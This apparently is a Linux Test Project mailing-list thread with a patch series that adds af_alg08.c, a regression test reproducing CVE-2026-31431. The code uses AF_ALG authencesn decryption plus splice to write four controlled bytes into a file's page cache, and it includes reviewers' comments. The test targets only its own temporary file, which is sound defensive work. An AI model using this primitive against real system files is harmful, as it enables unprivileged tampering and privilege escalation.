* [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer
@ 2026-04-30 13:30 Andrea Cervesato
2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
` (2 more replies)
0 siblings, 3 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-04-30 13:30 UTC (permalink / raw)
To: Linux Test Project
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v2:
- tst_alg_sendmsg(): fix msg_flags to be send by sendmsg()
- cve-2026-31431 -> af_alg08
- use tst_alg_sendmsg()
- global fd cleanup
- mode 0444
- handle multiple -i iterations
- Link to v1: https://lore.kernel.org/r/20260430-cve-2026-31431-v1-1-7fdc16c25785@suse.com
---
Andrea Cervesato (2):
tst_af_alg: fixed msg_flags to be the sendmsg() flags
cve-2026-31431: Add page cache corruption reproducer
include/tst_af_alg.h | 2 +-
lib/tst_af_alg.c | 3 +-
runtest/cve | 1 +
testcases/kernel/crypto/.gitignore | 1 +
testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++
5 files changed, 168 insertions(+), 3 deletions(-)
---
base-commit: 69b8169310425b8c5abd01d3fdb46f6d939e8a66
change-id: 20260430-cve-2026-31431-eda4297d56bc
Best regards,
--
Andrea Cervesato <andrea.cervesato@suse.com>
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
* [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags
2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato
@ 2026-04-30 13:30 ` Andrea Cervesato
2026-04-30 14:18 ` Cyril Hrubis
2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
2026-04-30 17:10 ` [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato via ltp
2 siblings, 1 reply; 8+ messages in thread
From: Andrea Cervesato @ 2026-04-30 13:30 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
include/tst_af_alg.h | 2 +-
lib/tst_af_alg.c | 3 +--
2 files changed, 2 insertions(+), 3 deletions(-)
diff --git a/include/tst_af_alg.h b/include/tst_af_alg.h
index 5c307ed0695103e67aac2f56d7ef6ecbd0a0b704..34f32e1d7755fa2dbd53d8bd76280cc730a6115a 100644
--- a/include/tst_af_alg.h
+++ b/include/tst_af_alg.h
@@ -167,7 +167,7 @@ struct tst_alg_sendmsg_params {
/** If assoclen != 0, send ALG_SET_AEAD_ASSOCLEN */
unsigned int assoclen;
- /* Value to use as msghdr::msg_flags */
+ /** Flags to pass to sendmsg() (e.g. MSG_MORE) */
uint32_t msg_flags;
};
diff --git a/lib/tst_af_alg.c b/lib/tst_af_alg.c
index a14f9865c9a4efef70e82485448c8dfccdec37ed..93757278f1d299edd1aefa232644cc060b801a74 100644
--- a/lib/tst_af_alg.c
+++ b/lib/tst_af_alg.c
@@ -198,7 +198,6 @@ void tst_alg_sendmsg(int reqfd, const void *data, size_t datalen,
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
- .msg_flags = params->msg_flags,
};
size_t controllen;
uint8_t *control;
@@ -249,5 +248,5 @@ void tst_alg_sendmsg(int reqfd, const void *data, size_t datalen,
cmsg = CMSG_NXTHDR(&msg, cmsg);
}
- SAFE_SENDMSG(datalen, reqfd, &msg, 0);
+ SAFE_SENDMSG(datalen, reqfd, &msg, params->msg_flags);
}
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 8+ messages in thread
* [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer
2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato
2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
@ 2026-04-30 13:30 ` Andrea Cervesato
2026-04-30 14:06 ` Martin Doucha
2026-04-30 15:46 ` Cyril Hrubis
2026-04-30 17:10 ` [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato via ltp
2 siblings, 2 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-04-30 13:30 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
A logic bug in authencesn allows an unprivileged user to corrupt
4 bytes of page cache via AF_ALG + splice. The test writes known
data to a file, attempts corruption through the AEAD scratch-write
path, and verifies whether the file content was modified.
Tested-by: Avinesh Kumar <avinesh.kumar@suse.com>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
runtest/cve | 1 +
testcases/kernel/crypto/.gitignore | 1 +
testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++
3 files changed, 166 insertions(+)
diff --git a/runtest/cve b/runtest/cve
index c3ecd74dd9f837924b810b7b431ebb911d809966..74300fb546a071ef2d1de3a02549eed35c9a57a4 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03
cve-2022-4378 cve-2022-4378
cve-2025-38236 cve-2025-38236
cve-2025-21756 cve-2025-21756
+cve-2026-31431 af_alg08
diff --git a/testcases/kernel/crypto/.gitignore b/testcases/kernel/crypto/.gitignore
index 448f986a6acc1341eac052ae9663e8fe28e18d4d..aca016b62110b319eb2825669ce23f5b3608c73e 100644
--- a/testcases/kernel/crypto/.gitignore
+++ b/testcases/kernel/crypto/.gitignore
@@ -5,6 +5,7 @@ af_alg04
af_alg05
af_alg06
af_alg07
+af_alg08
pcrypt_aead01
crypto_user01
crypto_user02
diff --git a/testcases/kernel/crypto/af_alg08.c b/testcases/kernel/crypto/af_alg08.c
new file mode 100644
index 0000000000000000000000000000000000000000..06166b6244c1d72e03e3ff8d7e87b1b3b76e93a9
--- /dev/null
+++ b/testcases/kernel/crypto/af_alg08.c
@@ -0,0 +1,164 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0:
+ * a664bf3d603d ("crypto: algif_aead - Separate src from dst")
+ *
+ * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended
+ * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes
+ * into the page cache of any readable file. During AEAD decryption,
+ * authencesn uses the destination scatterlist as scratch space for ESN byte
+ * rearrangement. When data is spliced from a file into an AF_ALG socket, the
+ * 2017 in-place optimization (72548b093ee3) places page cache pages into the
+ * writable destination scatterlist. authencesn's scratch write then corrupts
+ * those pages.
+ *
+ * The test creates a file with known data, attempts page cache corruption via
+ * the AF_ALG + splice technique, and verifies whether the file content was
+ * modified.
+ *
+ * Reproducer based on:
+ * https://github.com/theori-io/copy-fail-CVE-2026-31431
+ */
+
+#include "tst_test.h"
+#include "tst_af_alg.h"
+#include "lapi/socket.h"
+#include "lapi/splice.h"
+
+#define TESTFILE "copy_fail"
+#define OVERWRITE_SIZE 4
+#define AEAD_AUTHSIZE 4
+#define AEAD_ASSOCLEN 8
+#define AES_IV_SIZE 16
+#define SPI_SIZE 4
+
+static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };
+static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };
+
+/*
+ * authenc key format: struct rtattr header (8 bytes) +
+ * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)
+ */
+static const uint8_t authenc_key[] = {
+ 0x08, 0x00, 0x01, 0x00,
+ 0x00, 0x00, 0x00, 0x10,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+static int algfd = -1;
+static int reqfd = -1;
+static int pipefd[2] = { -1, -1 };
+static int file_fd = -1;
+
+static void try_corrupt(void)
+{
+ const uint8_t iv[AES_IV_SIZE] = { 0 };
+ uint8_t aad[AEAD_ASSOCLEN];
+ char recvbuf[AEAD_ASSOCLEN];
+ loff_t off_in = 0;
+
+ algfd = -1;
+ reqfd = -1;
+ pipefd[0] = -1;
+ pipefd[1] = -1;
+
+ /* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */
+ memset(aad, 'A', SPI_SIZE);
+ memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);
+
+ algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))",
+ authenc_key, sizeof(authenc_key));
+ SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,
+ AEAD_AUTHSIZE);
+
+ reqfd = tst_alg_accept(algfd);
+
+ const struct tst_alg_sendmsg_params params = {
+ .decrypt = true,
+ .iv = iv,
+ .ivlen = AES_IV_SIZE,
+ .assoclen = AEAD_ASSOCLEN,
+ .msg_flags = MSG_MORE,
+ };
+
+ tst_alg_sendmsg(reqfd, aad, sizeof(aad), ¶ms);
+
+ SAFE_PIPE(pipefd);
+
+ TEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
+ if (TST_RET < 0)
+ tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
+
+ TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
+ if (TST_RET < 0)
+ tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");
+
+ /* Expected to fail (invalid ciphertext); triggers the scratch write */
+ TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);
+
+ SAFE_CLOSE(pipefd[0]);
+ SAFE_CLOSE(pipefd[1]);
+ SAFE_CLOSE(reqfd);
+ SAFE_CLOSE(algfd);
+}
+
+static void run(void)
+{
+ int fd;
+ uint8_t readback[OVERWRITE_SIZE];
+
+ fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
+ SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);
+ SAFE_CLOSE(fd);
+
+ file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+ try_corrupt();
+ SAFE_CLOSE(file_fd);
+
+ file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+ SAFE_READ(1, file_fd, readback, sizeof(readback));
+ SAFE_CLOSE(file_fd);
+
+ if (memcmp(readback, original, OVERWRITE_SIZE) != 0)
+ tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice");
+ else
+ tst_res(TPASS, "Page cache was not corrupted");
+
+ SAFE_UNLINK(TESTFILE);
+}
+
+static void cleanup(void)
+{
+ if (pipefd[0] != -1)
+ SAFE_CLOSE(pipefd[0]);
+
+ if (pipefd[1] != -1)
+ SAFE_CLOSE(pipefd[1]);
+
+ if (reqfd != -1)
+ SAFE_CLOSE(reqfd);
+
+ if (algfd != -1)
+ SAFE_CLOSE(algfd);
+
+ if (file_fd != -1)
+ SAFE_CLOSE(file_fd);
+}
+
+static struct tst_test test = {
+ .test_all = run,
+ .cleanup = cleanup,
+ .needs_tmpdir = 1,
+ .tags = (const struct tst_tag[]) {
+ {"linux-git", "a664bf3d603d"},
+ {"CVE", "2026-31431"},
+ {}
+ },
+};
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer
2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
@ 2026-04-30 14:06 ` Martin Doucha
2026-04-30 14:31 ` Andrea Cervesato via ltp
2026-04-30 15:46 ` Cyril Hrubis
1 sibling, 1 reply; 8+ messages in thread
From: Martin Doucha @ 2026-04-30 14:06 UTC (permalink / raw)
To: Andrea Cervesato, Linux Test Project
Hi,
let's add the test to runtest/crypto as well during merge. One minor nit
below, otherwise for both patches:
Reviewed-by: Martin Doucha <mdoucha@suse.cz>
On 4/30/26 15:30, Andrea Cervesato wrote:
> From: Andrea Cervesato <andrea.cervesato@suse.com>
>
> A logic bug in authencesn allows an unprivileged user to corrupt
> 4 bytes of page cache via AF_ALG + splice. The test writes known
> data to a file, attempts corruption through the AEAD scratch-write
> path, and verifies whether the file content was modified.
>
> Tested-by: Avinesh Kumar <avinesh.kumar@suse.com>
> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
> ---
> runtest/cve | 1 +
> testcases/kernel/crypto/.gitignore | 1 +
> testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++
> 3 files changed, 166 insertions(+)
>
> diff --git a/runtest/cve b/runtest/cve
> index c3ecd74dd9f837924b810b7b431ebb911d809966..74300fb546a071ef2d1de3a02549eed35c9a57a4 100644
> --- a/runtest/cve
> +++ b/runtest/cve
> @@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03
> cve-2022-4378 cve-2022-4378
> cve-2025-38236 cve-2025-38236
> cve-2025-21756 cve-2025-21756
> +cve-2026-31431 af_alg08
> diff --git a/testcases/kernel/crypto/.gitignore b/testcases/kernel/crypto/.gitignore
> index 448f986a6acc1341eac052ae9663e8fe28e18d4d..aca016b62110b319eb2825669ce23f5b3608c73e 100644
> --- a/testcases/kernel/crypto/.gitignore
> +++ b/testcases/kernel/crypto/.gitignore
> @@ -5,6 +5,7 @@ af_alg04
> af_alg05
> af_alg06
> af_alg07
> +af_alg08
> pcrypt_aead01
> crypto_user01
> crypto_user02
> diff --git a/testcases/kernel/crypto/af_alg08.c b/testcases/kernel/crypto/af_alg08.c
> new file mode 100644
> index 0000000000000000000000000000000000000000..06166b6244c1d72e03e3ff8d7e87b1b3b76e93a9
> --- /dev/null
> +++ b/testcases/kernel/crypto/af_alg08.c
> @@ -0,0 +1,164 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
> + */
> +
> +/*\
> + * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0:
> + * a664bf3d603d ("crypto: algif_aead - Separate src from dst")
> + *
> + * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended
> + * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes
> + * into the page cache of any readable file. During AEAD decryption,
> + * authencesn uses the destination scatterlist as scratch space for ESN byte
> + * rearrangement. When data is spliced from a file into an AF_ALG socket, the
> + * 2017 in-place optimization (72548b093ee3) places page cache pages into the
> + * writable destination scatterlist. authencesn's scratch write then corrupts
> + * those pages.
> + *
> + * The test creates a file with known data, attempts page cache corruption via
> + * the AF_ALG + splice technique, and verifies whether the file content was
> + * modified.
> + *
> + * Reproducer based on:
> + * https://github.com/theori-io/copy-fail-CVE-2026-31431
> + */
> +
> +#include "tst_test.h"
> +#include "tst_af_alg.h"
> +#include "lapi/socket.h"
> +#include "lapi/splice.h"
> +
> +#define TESTFILE "copy_fail"
> +#define OVERWRITE_SIZE 4
> +#define AEAD_AUTHSIZE 4
> +#define AEAD_ASSOCLEN 8
> +#define AES_IV_SIZE 16
> +#define SPI_SIZE 4
> +
> +static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };
> +static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };
> +
> +/*
> + * authenc key format: struct rtattr header (8 bytes) +
> + * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)
> + */
> +static const uint8_t authenc_key[] = {
> + 0x08, 0x00, 0x01, 0x00,
> + 0x00, 0x00, 0x00, 0x10,
> + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +};
> +
> +static int algfd = -1;
> +static int reqfd = -1;
> +static int pipefd[2] = { -1, -1 };
> +static int file_fd = -1;
> +
> +static void try_corrupt(void)
> +{
> + const uint8_t iv[AES_IV_SIZE] = { 0 };
> + uint8_t aad[AEAD_ASSOCLEN];
> + char recvbuf[AEAD_ASSOCLEN];
> + loff_t off_in = 0;
> +
> + algfd = -1;
> + reqfd = -1;
> + pipefd[0] = -1;
> + pipefd[1] = -1;
> +
> + /* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */
> + memset(aad, 'A', SPI_SIZE);
> + memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);
> +
> + algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))",
> + authenc_key, sizeof(authenc_key));
> + SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,
> + AEAD_AUTHSIZE);
> +
> + reqfd = tst_alg_accept(algfd);
> +
> + const struct tst_alg_sendmsg_params params = {
> + .decrypt = true,
> + .iv = iv,
> + .ivlen = AES_IV_SIZE,
> + .assoclen = AEAD_ASSOCLEN,
> + .msg_flags = MSG_MORE,
> + };
> +
> + tst_alg_sendmsg(reqfd, aad, sizeof(aad), ¶ms);
> +
> + SAFE_PIPE(pipefd);
> +
> + TEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
> + if (TST_RET < 0)
> + tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
> +
> + TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
> + if (TST_RET < 0)
> + tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");
> +
> + /* Expected to fail (invalid ciphertext); triggers the scratch write */
> + TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);
> +
> + SAFE_CLOSE(pipefd[0]);
> + SAFE_CLOSE(pipefd[1]);
> + SAFE_CLOSE(reqfd);
> + SAFE_CLOSE(algfd);
> +}
> +
> +static void run(void)
> +{
> + int fd;
> + uint8_t readback[OVERWRITE_SIZE];
> +
> + fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
> + SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);
> + SAFE_CLOSE(fd);
Nit: Please use file_fd here.
> +
> + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> + try_corrupt();
> + SAFE_CLOSE(file_fd);
> +
> + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> + SAFE_READ(1, file_fd, readback, sizeof(readback));
> + SAFE_CLOSE(file_fd);
> +
> + if (memcmp(readback, original, OVERWRITE_SIZE) != 0)
> + tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice");
> + else
> + tst_res(TPASS, "Page cache was not corrupted");
> +
> + SAFE_UNLINK(TESTFILE);
> +}
> +
> +static void cleanup(void)
> +{
> + if (pipefd[0] != -1)
> + SAFE_CLOSE(pipefd[0]);
> +
> + if (pipefd[1] != -1)
> + SAFE_CLOSE(pipefd[1]);
> +
> + if (reqfd != -1)
> + SAFE_CLOSE(reqfd);
> +
> + if (algfd != -1)
> + SAFE_CLOSE(algfd);
> +
> + if (file_fd != -1)
> + SAFE_CLOSE(file_fd);
> +}
> +
> +static struct tst_test test = {
> + .test_all = run,
> + .cleanup = cleanup,
> + .needs_tmpdir = 1,
> + .tags = (const struct tst_tag[]) {
> + {"linux-git", "a664bf3d603d"},
> + {"CVE", "2026-31431"},
> + {}
> + },
> +};
>
--
Martin Doucha mdoucha@suse.cz
SW Quality Engineer
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags
2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
@ 2026-04-30 14:18 ` Cyril Hrubis
0 siblings, 0 replies; 8+ messages in thread
From: Cyril Hrubis @ 2026-04-30 14:18 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
--
Cyril Hrubis
chrubis@suse.cz
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer
2026-04-30 14:06 ` Martin Doucha
@ 2026-04-30 14:31 ` Andrea Cervesato via ltp
0 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato via ltp @ 2026-04-30 14:31 UTC (permalink / raw)
To: Martin Doucha; +Cc: Linux Test Project
Hi Martin,
> Nit: Please use file_fd here.
Uops...im gonna fix it on push. thanks for the review.
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer
2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
2026-04-30 14:06 ` Martin Doucha
@ 2026-04-30 15:46 ` Cyril Hrubis
1 sibling, 0 replies; 8+ messages in thread
From: Cyril Hrubis @ 2026-04-30 15:46 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Hi!
> + TEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
> + if (TST_RET < 0)
> + tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
> +
> + TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
> + if (TST_RET < 0)
> + tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");
I guess that we should add SAFE_SPLICE() but we can as well do that on
the top of this patch.
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
--
Cyril Hrubis
chrubis@suse.cz
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer
2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato
2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
@ 2026-04-30 17:10 ` Andrea Cervesato via ltp
2 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato via ltp @ 2026-04-30 17:10 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Merged, Thanks!
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
end of thread, other threads:[~2026-04-30 17:10 UTC | newest]
Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato
2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
2026-04-30 14:18 ` Cyril Hrubis
2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
2026-04-30 14:06 ` Martin Doucha
2026-04-30 14:31 ` Andrea Cervesato via ltp
2026-04-30 15:46 ` Cyril Hrubis
2026-04-30 17:10 ` [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato via ltp
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.